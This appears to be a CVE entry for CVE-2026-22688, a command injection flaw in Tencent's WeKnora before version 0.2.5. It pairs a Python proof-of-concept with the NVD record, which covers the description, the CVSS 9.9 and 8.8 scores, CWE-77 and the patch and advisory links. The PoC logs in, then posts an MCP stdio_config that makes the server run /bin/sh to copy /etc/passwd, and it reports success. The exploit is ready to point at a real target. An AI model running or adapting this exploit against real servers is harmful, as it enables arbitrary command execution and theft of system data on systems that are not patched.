CVE-2026-22688

#!/usr/bin/env python3 """ CVE-2026-22688 PoC - WeKnora Command Injection This PoC demonstrates the command injection vulnerability in WeKnora < 0.2.5 """ import requests import json TARGET_URL = "http://target-server:port/api" USERNAME = "attacker" PASSWORD = "password123" def login(): """Authenticate and get session token""" response = requests.post(f"{TARGET_URL}/auth/login", json={ "username": USERNAME, "password": PASSWORD }) return response.json().get("token") def exploit_command_injection(token): """Inject malicious command via MCP stdio config""" headers = {"Authorization": f"Bearer {token}"} # Malicious payload - inject arbitrary command malicious_config = { "stdio_config": { "command": "/bin/sh", "args": ["-c", ";cat /etc/passwd > /tmp/pwned.txt"] } } response = requests.post( f"{TARGET_URL}/mcp/config", headers=headers, json=malicious_config ) return response.status_code == 200 if __name__ == "__main__": token = login() if exploit_command_injection(token): print("[+] Command injection successful!") else: print("[-] Exploitation failed")

{"cve": {"id": "CVE-2026-22688", "sourceIdentifier": "[email protected]", "published": "2026-01-10T04:16:01.837", "lastModified": "2026-01-22T14:39:17.193", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WeKnora is an LLM-powered framework designed for deep document understanding and semantic retrieval. Prior to version 0.2.5, there is a command injection vulnerability that allows authenticated users to inject stdio_config.command/args into MCP stdio settings, causing the server to execute subprocesses using these injected values. This issue has been patched in version 0.2.5."}, {"lang": "es", "value": "WeKnora es un framework impulsado por LLM diseñado para la comprensión profunda de documentos y la recuperación semántica. Antes de la versión 0.2.5, existe una vulnerabilidad de inyección de comandos que permite a los usuarios autenticados inyectar stdio_config.command/args en la configuración de stdio de MCP, lo que provoca que el servidor ejecute subprocesos utilizando estos valores inyectados. Este problema ha sido parcheado en la versión 0.2.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:tencent:weknora:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.2.5", "matchCriteriaId": "286261BD-8F02-4CF6-815C-EFC31708684D"}]}]}], "references": [{"url": "https://github.com/Tencent/WeKnora/commit/f7900a5e9a18c99d25cec9589ead9e4e59ce04bb", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/Tencent/WeKnora/security/advisories/GHSA-78h3-63c4-5fqc", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/Tencent/WeKnora/security/advisories/GHSA-78h3-63c4-5fqc", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}